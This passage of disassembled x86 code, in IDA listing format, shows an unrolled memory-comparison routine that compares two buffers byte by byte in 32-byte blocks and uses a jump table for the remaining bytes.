ecx, [ebp+arg_4] mov eax, [ebp+arg_0] push ebx push 20h pop edx jmp loc_40B32F ; --------------------------------------------------------------------------- loc_40AEBD: ; CODE XREF: sub_40AE7F+4B2j mov esi, [eax] cmp esi, [ecx] jz short loc_40AF3F movzx esi, byte ptr [eax] movzx ebx, byte ptr [ecx] sub esi, ebx jz short loc_40AEE2 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40AEE2: ; CODE XREF: sub_40AE7F+4Cj movzx esi, byte ptr [eax+1] movzx ebx, byte ptr [ecx+1] sub esi, ebx jz short loc_40AF03 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40AF03: ; CODE XREF: sub_40AE7F+6Dj movzx esi, byte ptr [eax+2] movzx ebx, byte ptr [ecx+2] sub esi, ebx jz short loc_40AF24 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40AF24: ; CODE XREF: sub_40AE7F+8Ej movzx esi, byte ptr [eax+3] movzx ebx, byte ptr [ecx+3] sub esi, ebx jz short loc_40AF41 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40AF41 ; --------------------------------------------------------------------------- loc_40AF3F: ; CODE XREF: sub_40AE7F+42j xor esi, esi loc_40AF41: ; CODE XREF: sub_40AE7F+AFj ; sub_40AE7F+BEj test esi, esi jnz loc_40B34B mov esi, [eax+4] cmp esi, [ecx+4] jz short loc_40AFCF movzx esi, byte ptr [eax+4] movzx ebx, byte ptr [ecx+4] sub esi, ebx jz short loc_40AF72 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40AF72: ; CODE XREF: sub_40AE7F+DCj movzx esi, byte ptr [eax+5] movzx ebx, byte ptr [ecx+5] sub esi, ebx jz short loc_40AF93 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40AF93: ; CODE XREF: sub_40AE7F+FDj movzx esi, byte ptr [eax+6] movzx ebx, byte ptr [ecx+6] sub esi, ebx jz short loc_40AFB4 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40AFB4: ; CODE XREF: sub_40AE7F+11Ej movzx esi, byte ptr [eax+7] movzx ebx, byte ptr [ecx+7] sub esi, ebx jz short loc_40AFD1 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40AFD1 ; --------------------------------------------------------------------------- loc_40AFCF: ; CODE XREF: sub_40AE7F+D0j xor esi, esi loc_40AFD1: ; CODE XREF: sub_40AE7F+13Fj ; sub_40AE7F+14Ej test esi, esi jnz loc_40B34B mov esi, [eax+8] cmp esi, [ecx+8] jz short loc_40B05F movzx esi, byte ptr [eax+8] movzx ebx, byte ptr [ecx+8] sub esi, ebx jz short loc_40B002 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B002: ; CODE XREF: sub_40AE7F+16Cj movzx esi, byte ptr [eax+9] movzx ebx, byte ptr [ecx+9] sub esi, ebx jz short loc_40B023 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B023: ; CODE XREF: sub_40AE7F+18Dj movzx esi, byte ptr [eax+0Ah] movzx ebx, byte ptr [ecx+0Ah] sub esi, ebx jz short loc_40B044 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B044: ; CODE XREF: sub_40AE7F+1AEj movzx esi, byte ptr [eax+0Bh] movzx ebx, byte ptr [ecx+0Bh] sub esi, ebx jz short loc_40B061 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40B061 ; --------------------------------------------------------------------------- loc_40B05F: ; CODE XREF: sub_40AE7F+160j xor esi, esi loc_40B061: ; CODE XREF: sub_40AE7F+1CFj ; sub_40AE7F+1DEj test esi, esi jnz loc_40B34B mov esi, [eax+0Ch] cmp esi, [ecx+0Ch] jz short loc_40B0EF movzx esi, byte ptr [eax+0Ch] movzx ebx, byte ptr [ecx+0Ch] sub esi, ebx jz short loc_40B092 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B092: ; CODE XREF: sub_40AE7F+1FCj movzx esi, byte ptr [eax+0Dh] movzx ebx, byte ptr [ecx+0Dh] sub esi, ebx jz short loc_40B0B3 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B0B3: ; CODE XREF: sub_40AE7F+21Dj movzx esi, byte ptr [eax+0Eh] movzx ebx, byte ptr [ecx+0Eh] sub esi, ebx jz short loc_40B0D4 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B0D4: ; CODE XREF: sub_40AE7F+23Ej movzx esi, byte ptr [eax+0Fh] movzx ebx, byte ptr [ecx+0Fh] sub esi, ebx jz short loc_40B0F1 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40B0F1 ; --------------------------------------------------------------------------- loc_40B0EF: ; CODE XREF: sub_40AE7F+1F0j xor esi, esi loc_40B0F1: ; CODE XREF: sub_40AE7F+25Fj ; sub_40AE7F+26Ej test esi, esi jnz loc_40B34B mov esi, [eax+10h] cmp esi, [ecx+10h] jz short loc_40B17F movzx ebx, byte ptr [ecx+10h] movzx esi, byte ptr [eax+10h] sub esi, ebx jz short loc_40B122 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B122: ; CODE XREF: sub_40AE7F+28Cj movzx esi, byte ptr [eax+11h] movzx ebx, byte ptr [ecx+11h] sub esi, ebx jz short loc_40B143 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B143: ; CODE XREF: sub_40AE7F+2ADj movzx esi, byte ptr [eax+12h] movzx ebx, byte ptr [ecx+12h] sub esi, ebx jz short loc_40B164 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B164: ; CODE XREF: sub_40AE7F+2CEj movzx esi, byte ptr [eax+13h] movzx ebx, byte ptr [ecx+13h] sub esi, ebx jz short loc_40B181 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40B181 ; --------------------------------------------------------------------------- loc_40B17F: ; CODE XREF: sub_40AE7F+280j xor esi, esi loc_40B181: ; CODE XREF: sub_40AE7F+2EFj ; sub_40AE7F+2FEj test esi, esi jnz loc_40B34B mov esi, [eax+14h] cmp esi, [ecx+14h] jz short loc_40B20F movzx esi, byte ptr [eax+14h] movzx ebx, byte ptr [ecx+14h] sub esi, ebx jz short loc_40B1B2 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B1B2: ; CODE XREF: sub_40AE7F+31Cj movzx esi, byte ptr [eax+15h] movzx ebx, byte ptr [ecx+15h] sub esi, ebx jz short loc_40B1D3 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B1D3: ; CODE XREF: sub_40AE7F+33Dj movzx esi, byte ptr [eax+16h] movzx ebx, byte ptr [ecx+16h] sub esi, ebx jz short loc_40B1F4 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B1F4: ; CODE XREF: sub_40AE7F+35Ej movzx esi, byte ptr [eax+17h] movzx ebx, byte ptr [ecx+17h] sub esi, ebx jz short loc_40B211 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40B211 ; --------------------------------------------------------------------------- loc_40B20F: ; CODE XREF: sub_40AE7F+310j xor esi, esi loc_40B211: ; CODE XREF: sub_40AE7F+37Fj ; sub_40AE7F+38Ej test esi, esi jnz loc_40B34B mov esi, [eax+18h] cmp esi, [ecx+18h] jz short loc_40B29F movzx esi, byte ptr [eax+18h] movzx ebx, byte ptr [ecx+18h] sub esi, ebx jz short loc_40B242 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B242: ; CODE XREF: sub_40AE7F+3ACj movzx esi, byte ptr [eax+19h] movzx ebx, byte ptr [ecx+19h] sub esi, ebx jz short loc_40B263 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B263: ; CODE XREF: sub_40AE7F+3CDj movzx esi, byte ptr [eax+1Ah] movzx ebx, byte ptr [ecx+1Ah] sub esi, ebx jz short loc_40B284 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40B34B loc_40B284: ; CODE XREF: sub_40AE7F+3EEj movzx esi, byte ptr [eax+1Bh] movzx ebx, byte ptr [ecx+1Bh] sub esi, ebx jz short loc_40B2A1 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40B2A1 ; --------------------------------------------------------------------------- loc_40B29F: ; CODE XREF: sub_40AE7F+3A0j xor esi, esi loc_40B2A1: ; CODE XREF: sub_40AE7F+40Fj ; sub_40AE7F+41Ej test esi, esi jnz loc_40B34B mov esi, [eax+1Ch] cmp esi, [ecx+1Ch] jz short loc_40B323 movzx esi, byte ptr [eax+1Ch] movzx ebx, byte ptr [ecx+1Ch] sub esi, ebx jz short loc_40B2CE xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz short loc_40B34B loc_40B2CE: ; CODE XREF: sub_40AE7F+43Cj movzx esi, byte ptr [eax+1Dh] movzx ebx, byte ptr [ecx+1Dh] sub esi, ebx jz short loc_40B2EB xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz short loc_40B34B loc_40B2EB: ; CODE XREF: sub_40AE7F+459j movzx esi, byte ptr [eax+1Eh] movzx ebx, byte ptr [ecx+1Eh] sub esi, ebx jz short loc_40B308 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz short loc_40B34B loc_40B308: ; CODE XREF: sub_40AE7F+476j movzx esi, byte ptr [eax+1Fh] movzx ebx, byte ptr [ecx+1Fh] sub esi, ebx jz short loc_40B325 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40B325 ; --------------------------------------------------------------------------- loc_40B323: ; CODE XREF: sub_40AE7F+430j xor esi, esi loc_40B325: ; CODE XREF: sub_40AE7F+493j ; sub_40AE7F+4A2j test esi, esi jnz short loc_40B34B add eax, edx add ecx, edx sub edi, edx loc_40B32F: ; CODE XREF: sub_40AE7F+39j cmp edi, edx jnb loc_40AEBD add eax, edi add ecx, edi cmp edi, 1Fh ; switch 32 cases ja loc_40B71E ; default ; jumptable 0040B344 case 0 jmp ds:off_40C47F[edi*4] ; switch jump ; --------------------------------------------------------------------------- loc_40B34B: ; CODE XREF: sub_40AE7F+5Dj ; sub_40AE7F+7Ej ... mov eax, esi jmp loc_40B720 ; --------------------------------------------------------------------------- loc_40B352: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-1Ch] ; jumptable 0040B344 case 28 cmp edx, [ecx-1Ch] jz short loc_40B3CB movzx esi, dl movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40B376 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz short loc_40B34B loc_40B376: ; CODE XREF: sub_40AE7F+4E4j movzx esi, byte ptr [eax-1Bh] movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40B393 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz short loc_40B34B loc_40B393: ; CODE XREF: sub_40AE7F+501j movzx esi, byte ptr [eax-1Ah] movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40B3B0 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz short loc_40B34B loc_40B3B0: ; CODE XREF: sub_40AE7F+51Ej movzx esi, byte ptr [eax-19h] movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40B3CD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B3CD ; --------------------------------------------------------------------------- loc_40B3CB: ; CODE XREF: sub_40AE7F+4D9j xor esi, esi loc_40B3CD: ; CODE XREF: sub_40AE7F+53Bj ; sub_40AE7F+54Aj test esi, esi jnz loc_40B34B loc_40B3D5: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-18h] ; jumptable 0040B344 case 24 cmp edx, [ecx-18h] jz short loc_40B45A movzx esi, dl movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40B3FD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B3FD: ; CODE XREF: sub_40AE7F+567j movzx esi, byte ptr [eax-17h] movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40B41E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B41E: ; CODE XREF: sub_40AE7F+588j movzx esi, byte ptr [eax-16h] movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40B43F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B43F: ; CODE XREF: sub_40AE7F+5A9j movzx esi, byte ptr [eax-15h] movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40B45C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B45C ; --------------------------------------------------------------------------- loc_40B45A: ; CODE XREF: sub_40AE7F+55Cj xor esi, esi loc_40B45C: ; CODE XREF: sub_40AE7F+5CAj ; sub_40AE7F+5D9j test esi, esi jnz loc_40B34B loc_40B464: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-14h] ; jumptable 0040B344 case 20 cmp edx, [ecx-14h] jz short loc_40B4E9 movzx esi, dl movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40B48C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B48C: ; CODE XREF: sub_40AE7F+5F6j movzx esi, byte ptr [eax-13h] movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40B4AD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B4AD: ; CODE XREF: sub_40AE7F+617j movzx esi, byte ptr [eax-12h] movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40B4CE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B4CE: ; CODE XREF: sub_40AE7F+638j movzx esi, byte ptr [eax-11h] movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40B4EB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B4EB ; --------------------------------------------------------------------------- loc_40B4E9: ; CODE XREF: sub_40AE7F+5EBj xor esi, esi loc_40B4EB: ; CODE XREF: sub_40AE7F+659j ; sub_40AE7F+668j test esi, esi jnz loc_40B34B loc_40B4F3: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-10h] ; jumptable 0040B344 case 16 cmp edx, [ecx-10h] jz short loc_40B578 movzx esi, dl movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40B51B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B51B: ; CODE XREF: sub_40AE7F+685j movzx esi, byte ptr [eax-0Fh] movzx edx, byte ptr [ecx-0Fh] sub esi, edx jz short loc_40B53C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B53C: ; CODE XREF: sub_40AE7F+6A6j movzx esi, byte ptr [eax-0Eh] movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40B55D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B55D: ; CODE XREF: sub_40AE7F+6C7j movzx esi, byte ptr [eax-0Dh] movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40B57A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B57A ; --------------------------------------------------------------------------- loc_40B578: ; CODE XREF: sub_40AE7F+67Aj xor esi, esi loc_40B57A: ; CODE XREF: sub_40AE7F+6E8j ; sub_40AE7F+6F7j test esi, esi jnz loc_40B34B loc_40B582: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-0Ch] ; jumptable 0040B344 case 12 cmp edx, [ecx-0Ch] jz short loc_40B608 movzx edx, byte ptr [ecx-0Ch] movzx esi, byte ptr [eax-0Ch] sub esi, edx jz short loc_40B5AB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B5AB: ; CODE XREF: sub_40AE7F+715j movzx esi, byte ptr [eax-0Bh] movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40B5CC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B5CC: ; CODE XREF: sub_40AE7F+736j movzx esi, byte ptr [eax-0Ah] movzx edx, byte ptr [ecx-0Ah] sub esi, edx jz short loc_40B5ED xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B5ED: ; CODE XREF: sub_40AE7F+757j movzx esi, byte ptr [eax-9] movzx edx, byte ptr [ecx-9] sub esi, edx jz short loc_40B60A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B60A ; --------------------------------------------------------------------------- loc_40B608: ; CODE XREF: sub_40AE7F+709j xor esi, esi loc_40B60A: ; CODE XREF: sub_40AE7F+778j ; sub_40AE7F+787j test esi, esi jnz loc_40B34B loc_40B612: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-8] ; jumptable 0040B344 case 8 cmp edx, [ecx-8] jz short loc_40B697 movzx esi, dl movzx edx, byte ptr [ecx-8] sub esi, edx jz short loc_40B63A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B63A: ; CODE XREF: sub_40AE7F+7A4j movzx esi, byte ptr [eax-7] movzx edx, byte ptr [ecx-7] sub esi, edx jz short loc_40B65B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B65B: ; CODE XREF: sub_40AE7F+7C5j movzx esi, byte ptr [eax-6] movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40B67C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B67C: ; CODE XREF: sub_40AE7F+7E6j movzx esi, byte ptr [eax-5] movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40B699 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B699 ; --------------------------------------------------------------------------- loc_40B697: ; CODE XREF: sub_40AE7F+799j xor esi, esi loc_40B699: ; CODE XREF: sub_40AE7F+807j ; sub_40AE7F+816j test esi, esi jnz loc_40B34B loc_40B6A1: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-4] ; jumptable 0040B344 case 4 cmp edx, [ecx-4] jz short loc_40B718 movzx esi, dl movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40B6C3 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jnz short loc_40B6F9 loc_40B6C3: ; CODE XREF: sub_40AE7F+833j movzx esi, byte ptr [eax-3] movzx edx, byte ptr [ecx-3] sub esi, edx jz short loc_40B6DE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jnz short loc_40B6F9 loc_40B6DE: ; CODE XREF: sub_40AE7F+84Ej movzx esi, byte ptr [eax-2] movzx edx, byte ptr [ecx-2] sub esi, edx jz short loc_40B6FD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jz short loc_40B6FD loc_40B6F9: ; CODE XREF: sub_40AE7F+842j ; sub_40AE7F+85Dj mov eax, edx jmp short loc_40B71A ; --------------------------------------------------------------------------- loc_40B6FD: ; CODE XREF: sub_40AE7F+869j ; sub_40AE7F+878j movzx eax, byte ptr [eax-1] movzx ecx, byte ptr [ecx-1] sub eax, ecx jz short loc_40B71A xor ecx, ecx test eax, eax setnle cl lea ecx, [ecx+ecx-1] mov eax, ecx jmp short loc_40B71A ; --------------------------------------------------------------------------- loc_40B718: ; CODE XREF: sub_40AE7F+828j xor eax, eax loc_40B71A: ; CODE XREF: sub_40AE7F+87Cj ; sub_40AE7F+888j ... test eax, eax jnz short loc_40B720 loc_40B71E: ; CODE XREF: sub_40AE7F+4BFj ; sub_40AE7F+4C5j ... xor eax, eax ; default ; jumptable 0040B344 case 0 loc_40B720: ; CODE XREF: sub_40AE7F+4CEj ; sub_40AE7F+89Dj ... pop ebx jmp loc_40C479 ; --------------------------------------------------------------------------- loc_40B726: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-1Dh] ; jumptable 0040B344 case 29 cmp edx, [ecx-1Dh] jz short loc_40B7AB movzx esi, dl movzx edx, byte ptr [ecx-1Dh] sub esi, edx jz short loc_40B74E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B74E: ; CODE XREF: sub_40AE7F+8B8j movzx esi, byte ptr [eax-1Ch] movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40B76F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B76F: ; CODE XREF: sub_40AE7F+8D9j movzx esi, byte ptr [eax-1Bh] movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40B790 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B790: ; CODE XREF: sub_40AE7F+8FAj movzx esi, byte ptr [eax-1Ah] movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40B7AD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B7AD ; --------------------------------------------------------------------------- loc_40B7AB: ; CODE XREF: sub_40AE7F+8ADj xor esi, esi loc_40B7AD: ; CODE XREF: sub_40AE7F+91Bj ; sub_40AE7F+92Aj test esi, esi jnz loc_40B34B loc_40B7B5: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-19h] ; jumptable 0040B344 case 25 cmp edx, [ecx-19h] jz short loc_40B83A movzx esi, dl movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40B7DD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B7DD: ; CODE XREF: sub_40AE7F+947j movzx esi, byte ptr [eax-18h] movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40B7FE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B7FE: ; CODE XREF: sub_40AE7F+968j movzx esi, byte ptr [eax-17h] movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40B81F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B81F: ; CODE XREF: sub_40AE7F+989j movzx esi, byte ptr [eax-16h] movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40B83C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B83C ; --------------------------------------------------------------------------- loc_40B83A: ; CODE XREF: sub_40AE7F+93Cj xor esi, esi loc_40B83C: ; CODE XREF: sub_40AE7F+9AAj ; sub_40AE7F+9B9j test esi, esi jnz loc_40B34B loc_40B844: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-15h] ; jumptable 0040B344 case 21 cmp edx, [ecx-15h] jz short loc_40B8C9 movzx esi, dl movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40B86C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B86C: ; CODE XREF: sub_40AE7F+9D6j movzx esi, byte ptr [eax-14h] movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40B88D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B88D: ; CODE XREF: sub_40AE7F+9F7j movzx esi, byte ptr [eax-13h] movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40B8AE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B8AE: ; CODE XREF: sub_40AE7F+A18j movzx esi, byte ptr [eax-12h] movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40B8CB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B8CB ; --------------------------------------------------------------------------- loc_40B8C9: ; CODE XREF: sub_40AE7F+9CBj xor esi, esi loc_40B8CB: ; CODE XREF: sub_40AE7F+A39j ; sub_40AE7F+A48j test esi, esi jnz loc_40B34B loc_40B8D3: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-11h] ; jumptable 0040B344 case 17 cmp edx, [ecx-11h] jz short loc_40B958 movzx esi, dl movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40B8FB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B8FB: ; CODE XREF: sub_40AE7F+A65j movzx esi, byte ptr [eax-10h] movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40B91C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B91C: ; CODE XREF: sub_40AE7F+A86j movzx esi, byte ptr [eax-0Fh] movzx edx, byte ptr [ecx-0Fh] sub esi, edx jz short loc_40B93D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B93D: ; CODE XREF: sub_40AE7F+AA7j movzx esi, byte ptr [eax-0Eh] movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40B95A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B95A ; --------------------------------------------------------------------------- loc_40B958: ; CODE XREF: sub_40AE7F+A5Aj xor esi, esi loc_40B95A: ; CODE XREF: sub_40AE7F+AC8j ; sub_40AE7F+AD7j test esi, esi jnz loc_40B34B loc_40B962: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-0Dh] ; jumptable 0040B344 case 13 cmp edx, [ecx-0Dh] jz short loc_40B9E7 movzx esi, dl movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40B98A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B98A: ; CODE XREF: sub_40AE7F+AF4j movzx esi, byte ptr [eax-0Ch] movzx edx, byte ptr [ecx-0Ch] sub esi, edx jz short loc_40B9AB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B9AB: ; CODE XREF: sub_40AE7F+B15j movzx esi, byte ptr [eax-0Bh] movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40B9CC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40B9CC: ; CODE XREF: sub_40AE7F+B36j movzx esi, byte ptr [eax-0Ah] movzx edx, byte ptr [ecx-0Ah] sub esi, edx jz short loc_40B9E9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40B9E9 ; --------------------------------------------------------------------------- loc_40B9E7: ; CODE XREF: sub_40AE7F+AE9j xor esi, esi loc_40B9E9: 